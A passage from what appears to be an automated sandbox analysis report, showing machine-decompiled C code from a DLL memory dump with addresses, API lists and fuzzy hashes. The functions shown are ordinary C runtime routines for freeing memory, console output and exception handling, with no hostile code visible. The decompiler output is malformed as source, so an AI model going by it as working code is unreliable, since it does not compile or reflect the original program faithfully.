				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t53;
				void _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				signed int _t64;
				char _t92;
				char _t100;
				void* _t101;
				signed int _t104;
				void* _t107;
				void* _t121;
				char* _t123;
				signed int _t127;
				intOrPtr* _t132;
				void* _t133;
				intOrPtr* _t134;
				signed int _t135;
				signed int _t136;
				signed int _t137;
				signed int _t138;
				char* _t139;

				_t121 = __edx;
				_t100 = _a4;
				_v28 = _t100;
				_v24 = 0;
				if( *((intOrPtr*)(_t100 + 0xb0)) != 0 ||  *((intOrPtr*)(_t100 + 0xac)) != 0) {
					_v16 = 1;
					_t53 = E6E17FB55(_t101, 1, 0x50);
					_v8 = _t53;
					if(_t53 != 0) {
						_t104 = 0x14;
						memcpy(_t53,  *(_t100 + 0x88), _t104 << 2);
						_t132 = E6E17FBEC(0, 4);
						_t127 = 0;
						_v12 = _t132;
						E6E17FBB2(0);
						_pop(_t107);
						if(_t132 != 0) {
							 *_t132 = 0;
							if( *((intOrPtr*)(_t100 + 0xb0)) == 0) {
								_t133 = _v8;
								_t57 =  *0x6e1bb1a8; // 0x6e1bb1a0
								 *_t133 = _t57;
								_t58 =  *0x6e1bb1ac; // 0x6e253408
								 *((intOrPtr*)(_t133 + 4)) = _t58;
								_t59 =  *0x6e1bb1b0; // 0x6e253408
								 *((intOrPtr*)(_t133 + 8)) = _t59;
								_t60 =  *0x6e1bb1d8; // 0x6e1bb1a4
								 *((intOrPtr*)(_t133 + 0x30)) = _t60;
								_t61 =  *0x6e1bb1dc; // 0x6e25340c
								 *((intOrPtr*)(_t133 + 0x34)) = _t61;
								L19:
								 *_v12 = 1;
								if(_t127 != 0) {
									 *_t127 = 1;
								}
								goto L21;
							}
							_t134 = E6E17FBEC(_t107, 4);
							_v20 = _t134;
							E6E17FBB2(0);
							if(_t134 == 0) {
								L11:
								E6E17FBB2(_v8);
								E6E17FBB2(_v12);
								return _v16;
							}
							_push(_v8);
							 *_t134 = 0;
							_t128 =  *((intOrPtr*)(_t100 + 0xb0));
							_t135 = E6E185ACA(_t100, _t121,  *((intOrPtr*)(_t100 + 0xb0)), _t134);
							_t136 = _t135 | E6E185ACA(_t100, _t121,  *((intOrPtr*)(_t100 + 0xb0)), _t135,  &_v28, 1,  *((intOrPtr*)(_t100 + 0xb0)), 0xf, _v8 + 4,  &_v28);
							_v16 = _v8 + 8;
							_t137 = _t136 | E6E185ACA(_t100, _t121, _t128, _t136,  &_v28, 1, _t128, 0x10, _v8 + 8, 1);
							_t138 = _t137 | E6E185ACA(_t100, _t121, _t128, _t137,  &_v28, 2, _t128, 0xe, _v8 + 0x30, _t128);
							if((E6E185ACA(_t100, _t121, _t128, _t138,  &_v28, 2, _t128, 0xf, _v8 + 0x34, 0xe) | _t138) == 0) {
								_t123 =  *_v16;
								while( *_t123 != 0) {
									_t92 =  *_t123;
									if(_t92 < 0x30 || _t92 > 0x39) {
										if(_t92 != 0x3b) {
											goto L16;
										}
										_t139 = _t123;
										do {
											 *_t139 =  *((intOrPtr*)(_t139 + 1));
											_t139 = _t139 + 1;
										} while ( *_t139 != 0);
									} else {
										 *_t123 = _t92 - 0x30;
										L16:
										_t123 = _t123 + 1;
									}
								}
								_t127 = _v20;
								_t133 = _v8;
								goto L19;
							}
							E6E18B44A(_v8);
							_v16 = _v16 | 0xffffffff;
							goto L11;
						}
						E6E17FBB2(_v8);
						return 1;
					}
					return 1;
				} else {
					_t127 = 0;
					_v12 = 0;
					_t133 = 0x6e1bb1a8;
					L21:
					_t64 =  *(_t100 + 0x80);
					if(_t64 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t100 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t64 | 0xffffffff) == 0) {
							E6E17FBB2( *((intOrPtr*)(_t100 + 0x7c)));
							E6E17FBB2( *(_t100 + 0x88));
						}
					}
					 *((intOrPtr*)(_t100 + 0x7c)) = _v12;
					 *(_t100 + 0x80) = _t127;
					 *(_t100 + 0x88) = _t133;
					return 0;
				}
			}

0x6e18b4b3
0x6e18b4bc
0x6e18b4c3
0x6e18b4c6
0x6e18b4cf
0x6e18b4ee
0x6e18b4f1
0x6e18b4f6
0x6e18b4fd
0x6e18b510
0x6e18b511
0x6e18b51a
0x6e18b51c
0x6e18b51f
0x6e18b522
0x6e18b528
0x6e18b52b
0x6e18b53e
0x6e18b546
0x6e18b6a0
0x6e18b6a3
0x6e18b6a8
0x6e18b6aa
0x6e18b6af
0x6e18b6b2
0x6e18b6b7
0x6e18b6ba
0x6e18b6bf
0x6e18b6c2
0x6e18b6c7
0x6e18b630
0x6e18b636
0x6e18b63a
0x6e18b63c
0x6e18b63c
0x00000000
0x6e18b63a
0x6e18b553
0x6e18b556
0x6e18b559
0x6e18b562
0x6e18b5f7
0x6e18b5fa
0x6e18b603
0x00000000
0x6e18b60c
0x6e18b568
0x6e18b56b
0x6e18b570
0x6e18b584
0x6e18b598
0x6e18b5a4
0x6e18b5b2
0x6e18b5cc
0x6e18b5e8
0x6e18b612
0x6e18b625
0x6e18b616
0x6e18b61a
0x6e18b68d
0x00000000
0x00000000
0x6e18b68f
0x6e18b691
0x6e18b694
0x6e18b696
0x6e18b699
0x6e18b620
0x6e18b622
0x6e18b624
0x6e18b624
0x6e18b624
0x6e18b61a
0x6e18b62a
0x6e18b62d
0x00000000
0x6e18b62d
0x6e18b5ed
0x6e18b5f2
0x00000000
0x6e18b5f6
0x6e18b530
0x00000000
0x6e18b538
0x00000000
0x6e18b4d9
0x6e18b4d9
0x6e18b4db
0x6e18b4de
0x6e18b63e
0x6e18b63e
0x6e18b646
0x6e18b648
0x6e18b648
0x6e18b650
0x6e18b655
0x6e18b659
0x6e18b65e
0x6e18b669
0x6e18b66f
0x6e18b659
0x6e18b673
0x6e18b678
0x6e18b67e
0x00000000
0x6e18b67e

APIs

_free.LIBCMT ref: 6E18B522
_free.LIBCMT ref: 6E18B530
_free.LIBCMT ref: 6E18B65E
_free.LIBCMT ref: 6E18B669

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 69456103db6bca3bfaf082e2d585a73a78d64088d5284797307a66ef5a37deec
Instruction ID: e7277e4c9ea5d3fed1abe650bb5edd3bbcd1f323a07f2005e47bccf3f5d84850
Opcode Fuzzy Hash: 69456103db6bca3bfaf082e2d585a73a78d64088d5284797307a66ef5a37deec
Instruction Fuzzy Hash: 0C61B376904605AFDB20CFA8C881F9BBBF9FF09710F244569E864EB244D7309D81AF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E1841B8, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6E1841B8(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x6e2536b0 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x6e2536b0 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E6E17B4DD(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x6e2536b0 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x6e2536b0 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x6e2536b0 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E6E180644( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E6E180644();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 8)) - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E6E173D51(_v8 ^ _t136);
			}

0x6e1841c0
0x6e1841c7
0x6e1841ca
0x6e1841d2
0x6e1841d6
0x6e1841e2
0x6e1841e5
0x6e1841e8
0x6e1841ef
0x6e1841f7
0x6e1841fa
0x6e184200
0x6e184206
0x6e18420b
0x6e18420d
0x6e184210
0x6e184215
0x6e18421f
0x6e184226
0x6e184229
0x6e184230
0x6e184237
0x6e184263
0x6e184289
0x6e18428b
0x00000000
0x6e184265
0x6e184268
0x6e18432f
0x6e18433b
0x6e184346
0x6e18434b
0x6e18426e
0x6e184275
0x6e18427a
0x6e184280
0x6e184286
0x00000000
0x6e184286
0x6e184280
0x6e184268
0x6e184239
0x6e18423d
0x6e184240
0x6e184246
0x6e184248
0x6e18424b
0x6e18424f
0x6e18428c
0x6e18428f
0x6e184290
0x6e184295
0x6e18429b
0x6e1842a1
0x6e1842b0
0x6e1842b6
0x6e1842bc
0x6e1842c1
0x6e1842dd
0x6e184350
0x6e184356
0x6e1842df
0x6e1842e7
0x6e1842f0
0x6e1842f6
0x00000000
0x6e1842f8
0x6e1842fa
0x6e1842fd
0x6e184316
0x00000000
0x6e184318
0x6e18431c
0x6e18431e
0x6e184321
0x00000000
0x6e184321
0x6e18431c
0x6e184316
0x6e1842f6
0x6e1842f0
0x6e1842dd
0x6e1842c1
0x6e18429b
0x00000000
0x6e184324
0x6e184324
0x6e184358
0x6e18436a

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,6E18492D,?,?,?,?,?,?), ref: 6E1841FA
__fassign.LIBCMT ref: 6E184275
__fassign.LIBCMT ref: 6E184290
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 6E1842B6
WriteFile.KERNEL32(?,?,00000000,6E18492D,00000000,?,?,?,?,?,?,?,?,?,6E18492D,?), ref: 6E1842D5
WriteFile.KERNEL32(?,?,00000001,6E18492D,00000000,?,?,?,?,?,?,?,?,?,6E18492D,?), ref: 6E18430E

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: f9d56f9bb1e3ee8f25e26397084468effc785107ad5dcd51124f7b290a90242f
Instruction ID: 02389d21543319f59381ff3cf3bc0672cb653f08e54cc5b1ff1e5389b76050bc
Opcode Fuzzy Hash: f9d56f9bb1e3ee8f25e26397084468effc785107ad5dcd51124f7b290a90242f
Instruction Fuzzy Hash: 6B51B171A002499FDB04CFE8D895ADEBBF9FF19300F15411AE965E7241E7309985DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E176FD0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E6E176FD0(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _t50;
				signed int _t57;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				intOrPtr _t62;
				intOrPtr _t67;
				intOrPtr _t72;
				intOrPtr _t76;
				intOrPtr _t78;
				signed int _t80;
				char _t82;
				intOrPtr _t85;
				intOrPtr _t94;
				intOrPtr _t97;
				intOrPtr* _t99;
				void* _t103;
				void* _t105;
				void* _t113;

				_t76 = _a8;
				_v5 = 0;
				_t97 = _t76 + 0x10;
				_v16 = 1;
				_v20 = _t97;
				_v12 =  *(_t76 + 8) ^  *0x6e1bb164;
				E6E176F90( *(_t76 + 8) ^  *0x6e1bb164, _t97, __edi, __esi);
				E6E1780AC(_a12);
				_t50 = _a4;
				_t105 = _t103 - 0x1c + 0xc;
				_t94 =  *((intOrPtr*)(_t76 + 0xc));
				if(( *(_t50 + 4) & 0x00000066) != 0) {
					__eflags = _t94 - 0xfffffffe;
					if(_t94 != 0xfffffffe) {
						E6E178260(_t76, 0xfffffffe, _t97, 0x6e1bb164);
						goto L14;
					}
					goto L15;
				} else {
					_v32 = _t50;
					_v28 = _a12;
					 *((intOrPtr*)(_t76 - 4)) =  &_v32;
					if(_t94 == 0xfffffffe) {
						L15:
						return _v16;
					} else {
						do {
							_t80 = _v12;
							_t20 = _t94 + 2; // 0x3
							_t57 = _t94 + _t20 * 2;
							_t78 =  *((intOrPtr*)(_t80 + _t57 * 4));
							_t58 = _t80 + _t57 * 4;
							_t81 =  *((intOrPtr*)(_t58 + 4));
							_v24 = _t58;
							if( *((intOrPtr*)(_t58 + 4)) == 0) {
								_t82 = _v5;
								goto L8;
							} else {
								_t59 = E6E178210(_t81, _t97);
								_t82 = 1;
								_v5 = 1;
								_t113 = _t59;
								if(_t113 < 0) {
									_v16 = 0;
									L14:
									_push(_t97);
									_push(_v12);
									E6E176F90();
									goto L15;
								} else {
									if(_t113 > 0) {
										_t60 = _a4;
										__eflags =  *_t60 - 0xe06d7363;
										if( *_t60 == 0xe06d7363) {
											__eflags =  *0x6e1ad950;
											if(__eflags != 0) {
												_t72 = E6E18F1C0(__eflags, 0x6e1ad950);
												_t105 = _t105 + 4;
												__eflags = _t72;
												if(_t72 != 0) {
													_t99 =  *0x6e1ad950; // 0x6e175de8
													 *0x6e1911c4(_a4, 1);
													 *_t99();
													_t97 = _v20;
													_t105 = _t105 + 8;
												}
												_t60 = _a4;
											}
										}
										E6E178244(_t60, _a8, _t60);
										_t62 = _a8;
										__eflags =  *((intOrPtr*)(_t62 + 0xc)) - _t94;
										if( *((intOrPtr*)(_t62 + 0xc)) != _t94) {
											E6E178260(_t62, _t94, _t97, 0x6e1bb164);
											_t62 = _a8;
										}
										_push(_t97);
										_push(_v12);
										 *((intOrPtr*)(_t62 + 0xc)) = _t78;
										E6E176F90();
										_t85 =  *((intOrPtr*)(_v24 + 8));
										E6E178228();
										asm("int3");
										E6E1771EC();
										E6E17854B();
										__eflags = E6E178277();
										if(__eflags != 0) {
											_t67 = E6E177320(_t85, __eflags);
											__eflags = _t67;
											if(_t67 != 0) {
												return 1;
											} else {
												E6E1782B3();
												goto L25;
											}
										} else {
											L25:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L8;
									}
								}
							}
							goto L29;
							L8:
							_t94 = _t78;
						} while (_t78 != 0xfffffffe);
						if(_t82 != 0) {
							goto L14;
						}
						goto L15;
					}
				}
				L29:
			}

0x6e176fd7
0x6e176fdc
0x6e176fe3
0x6e176fee
0x6e176ff5
0x6e176ff8
0x6e176ffb
0x6e177003
0x6e177008
0x6e17700b
0x6e17700e
0x6e177015
0x6e177076
0x6e177079
0x6e177088
0x00000000
0x6e177088
0x00000000
0x6e177017
0x6e177017
0x6e17701d
0x6e177023
0x6e177029
0x6e177099
0x6e1770a2
0x6e17702b
0x6e177030
0x6e177030
0x6e177033
0x6e177036
0x6e177039
0x6e17703c
0x6e17703f
0x6e177042
0x6e177047
0x6e17705d
0x00000000
0x6e177049
0x6e17704b
0x6e177050
0x6e177052
0x6e177055
0x6e177057
0x6e17706d
0x6e17708d
0x6e17708d
0x6e17708e
0x6e177091
0x00000000
0x6e177059
0x6e177059
0x6e1770a3
0x6e1770a6
0x6e1770ac
0x6e1770ae
0x6e1770b5
0x6e1770bc
0x6e1770c1
0x6e1770c4
0x6e1770c6
0x6e1770c8
0x6e1770d5
0x6e1770db
0x6e1770dd
0x6e1770e0
0x6e1770e0
0x6e1770e3
0x6e1770e3
0x6e1770b5
0x6e1770eb
0x6e1770f0
0x6e1770f3
0x6e1770f6
0x6e177102
0x6e177107
0x6e177107
0x6e17710a
0x6e17710b
0x6e17710e
0x6e177111
0x6e17711e
0x6e177121
0x6e177126
0x6e177127
0x6e17712c
0x6e177136
0x6e177138
0x6e17713d
0x6e177142
0x6e177144
0x6e17714f
0x6e177146
0x6e177146
0x00000000
0x6e177146
0x6e17713a
0x6e17713a
0x6e17713a
0x6e17713c
0x6e17713c
0x6e17705b
0x00000000
0x6e17705b
0x6e177059
0x6e177057
0x00000000
0x6e177060
0x6e177060
0x6e177062
0x6e177069
0x00000000
0x6e17706b
0x00000000
0x6e177069
0x6e177029
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 6E176FFB
___except_validate_context_record.LIBVCRUNTIME ref: 6E177003
_ValidateLocalCookies.LIBCMT ref: 6E177091
__IsNonwritableInCurrentImage.LIBCMT ref: 6E1770BC
_ValidateLocalCookies.LIBCMT ref: 6E177111

Strings

csm, xrefs: 6E1770A6

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d3a3b3ea4240f750eeec991fed0947a85d69ef87af47fa568bba0ff62d81b2fb
Instruction ID: 4622c7b6dfe06f138eda08377f29a4fba375bde99eefdd33452c27de61b60cef
Opcode Fuzzy Hash: d3a3b3ea4240f750eeec991fed0947a85d69ef87af47fa568bba0ff62d81b2fb
Instruction Fuzzy Hash: 3741B534A002199BCF20CFA8C890ADEBBB9EF46719F208566E8159B391D731D995DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E184B3C, Relevance: 10.6, APIs: 7, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6E184B3C(char* _a4, short* _a8) {
				int _v8;
				void* __ecx;
				void* __esi;
				short* _t10;
				short* _t14;
				int _t15;
				short* _t16;
				void* _t26;
				int _t27;
				void* _t29;
				short* _t35;
				short* _t39;
				short* _t40;

				_push(_t29);
				if(_a4 != 0) {
					_t39 = _a8;
					__eflags = _t39;
					if(__eflags != 0) {
						_push(_t26);
						E6E1836D7(_t29, _t39, __eflags);
						asm("sbb ebx, ebx");
						_t35 = 0;
						_t27 = _t26 + 1;
						 *_t39 = 0;
						_t10 = MultiByteToWideChar(_t27, 0, _a4, 0xffffffff, 0, 0);
						_v8 = _t10;
						__eflags = _t10;
						if(_t10 != 0) {
							_t40 = E6E17FBEC(_t29, _t10 + _t10);
							__eflags = _t40;
							if(_t40 != 0) {
								_t15 = MultiByteToWideChar(_t27, 0, _a4, 0xffffffff, _t40, _v8);
								__eflags = _t15;
								if(_t15 != 0) {
									_t16 = _t40;
									_t40 = 0;
									_t35 = 1;
									__eflags = 1;
									 *_a8 = _t16;
								} else {
									E6E17BB48(GetLastError());
								}
							}
							E6E17FBB2(_t40);
							_t14 = _t35;
						} else {
							E6E17BB48(GetLastError());
							_t14 = 0;
						}
					} else {
						 *((intOrPtr*)(E6E17BB7E())) = 0x16;
						E6E178929();
						_t14 = 0;
					}
					return _t14;
				}
				 *((intOrPtr*)(E6E17BB7E())) = 0x16;
				E6E178929();
				return 0;
			}

0x6e184b41
0x6e184b46
0x6e184b60
0x6e184b63
0x6e184b65
0x6e184b7e
0x6e184b80
0x6e184b87
0x6e184b89
0x6e184b92
0x6e184b93
0x6e184b97
0x6e184b9d
0x6e184ba0
0x6e184ba2
0x6e184bbc
0x6e184bbf
0x6e184bc1
0x6e184bce
0x6e184bd4
0x6e184bd6
0x6e184bea
0x6e184bec
0x6e184bf0
0x6e184bf0
0x6e184bf1
0x6e184bd8
0x6e184bdf
0x6e184be4
0x6e184bd6
0x6e184bf4
0x6e184bf9
0x6e184ba4
0x6e184bab
0x6e184bb0
0x6e184bb0
0x6e184b67
0x6e184b6c
0x6e184b72
0x6e184b77
0x6e184b77
0x00000000
0x6e184bfe
0x6e184b4d
0x6e184b53
0x00000000

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d9386d276ede0ad050d7d042acca805c39f4f55b4e78ff3f311037b3cd886be
Instruction ID: 0226d3569756f58056775f64d2ca26ed3d448e7f58b6442a022e198b3493039e
Opcode Fuzzy Hash: 8d9386d276ede0ad050d7d042acca805c39f4f55b4e78ff3f311037b3cd886be
Instruction Fuzzy Hash: 0E11E432608115BFCF205FFA8C08E9B7A6DFF86B64B254915F815C7248DF328881AA60

Uniqueness

Uniqueness Score: -1.00%

Function 6E18B988, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E18B988(intOrPtr _a4) {
				void* _t18;
				intOrPtr _t45;

				_t45 = _a4;
				if(_t45 != 0) {
					E6E18B6CF(_t45, 7);
					_t2 = _t45 + 0x1c; // 0x6e1673e0
					E6E18B6CF(_t2, 7);
					_t3 = _t45 + 0x38; // 0x6e1673fc
					E6E18B6CF(_t3, 0xc);
					_t4 = _t45 + 0x68; // 0x6e16742c
					E6E18B6CF(_t4, 0xc);
					_t5 = _t45 + 0x98; // 0x6e16745c
					E6E18B6CF(_t5, 2);
					_t6 = _t45 + 0xa0; // 0x6e1bb000
					E6E17FBB2( *_t6);
					_t7 = _t45 + 0xa4; // 0xb0d80d03
					E6E17FBB2( *_t7);
					_t8 = _t45 + 0xa8; // 0xd896e1b
					E6E17FBB2( *_t8);
					_t9 = _t45 + 0xb4; // 0x6e167478
					E6E18B6CF(_t9, 7);
					_t10 = _t45 + 0xd0; // 0x6e167494
					E6E18B6CF(_t10, 7);
					_t11 = _t45 + 0xec; // 0x6e1674b0
					E6E18B6CF(_t11, 0xc);
					_t12 = _t45 + 0x11c; // 0x6e1674e0
					E6E18B6CF(_t12, 0xc);
					_t13 = _t45 + 0x14c; // 0x6e167510
					E6E18B6CF(_t13, 2);
					_t14 = _t45 + 0x154; // 0x8b8d233
					E6E17FBB2( *_t14);
					_t15 = _t45 + 0x158; // 0x6b000000
					E6E17FBB2( *_t15);
					_t16 = _t45 + 0x15c; // 0x888900c0
					E6E17FBB2( *_t16);
					_t17 = _t45 + 0x160; // 0x6e1bb050
					return E6E17FBB2( *_t17);
				}
				return _t18;
			}

0x6e18b98e
0x6e18b993
0x6e18b99c
0x6e18b9a1
0x6e18b9a7
0x6e18b9ac
0x6e18b9b2
0x6e18b9b7
0x6e18b9bd
0x6e18b9c2
0x6e18b9cb
0x6e18b9d0
0x6e18b9d6
0x6e18b9db
0x6e18b9e1
0x6e18b9e6
0x6e18b9ec
0x6e18b9f1
0x6e18b9fa
0x6e18b9ff
0x6e18ba08
0x6e18ba10
0x6e18ba19
0x6e18ba1e
0x6e18ba27
0x6e18ba2c
0x6e18ba35
0x6e18ba3a
0x6e18ba40
0x6e18ba45
0x6e18ba4b
0x6e18ba50
0x6e18ba56
0x6e18ba5b
0x00000000
0x6e18ba66
0x6e18ba6b

APIs

Part of subcall function 6E18B6CF: _free.LIBCMT ref: 6E18B6F8

_free.LIBCMT ref: 6E18B9D6

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

_free.LIBCMT ref: 6E18B9E1
_free.LIBCMT ref: 6E18B9EC
_free.LIBCMT ref: 6E18BA40
_free.LIBCMT ref: 6E18BA4B
_free.LIBCMT ref: 6E18BA56
_free.LIBCMT ref: 6E18BA61

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8150f2849fa73c3c1386e614bce17a8c7f263fcc3cf36198d2fcf3c8acff8a63
Instruction ID: c135edd632b024a76ffe92aafae0afb272024313a4f33df47e1e8e741f336169
Opcode Fuzzy Hash: 8150f2849fa73c3c1386e614bce17a8c7f263fcc3cf36198d2fcf3c8acff8a63
Instruction Fuzzy Hash: C3115176941F08AAD931EFF0CC15FCB7B9C6F04704F508C15E6B966064DB65B5C86B50

Uniqueness

Uniqueness Score: -1.00%

Function 6E17A541, Relevance: 9.3, APIs: 6, Instructions: 284
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E6E17A541(void* __ebx, signed int __edx, void* __edi, void* _a4, signed int _a8) {
				intOrPtr _v0;
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				void* __esi;
				void* __ebp;
				signed int _t61;
				void* _t64;
				signed int _t67;
				signed int _t69;
				signed int _t70;
				signed int _t73;
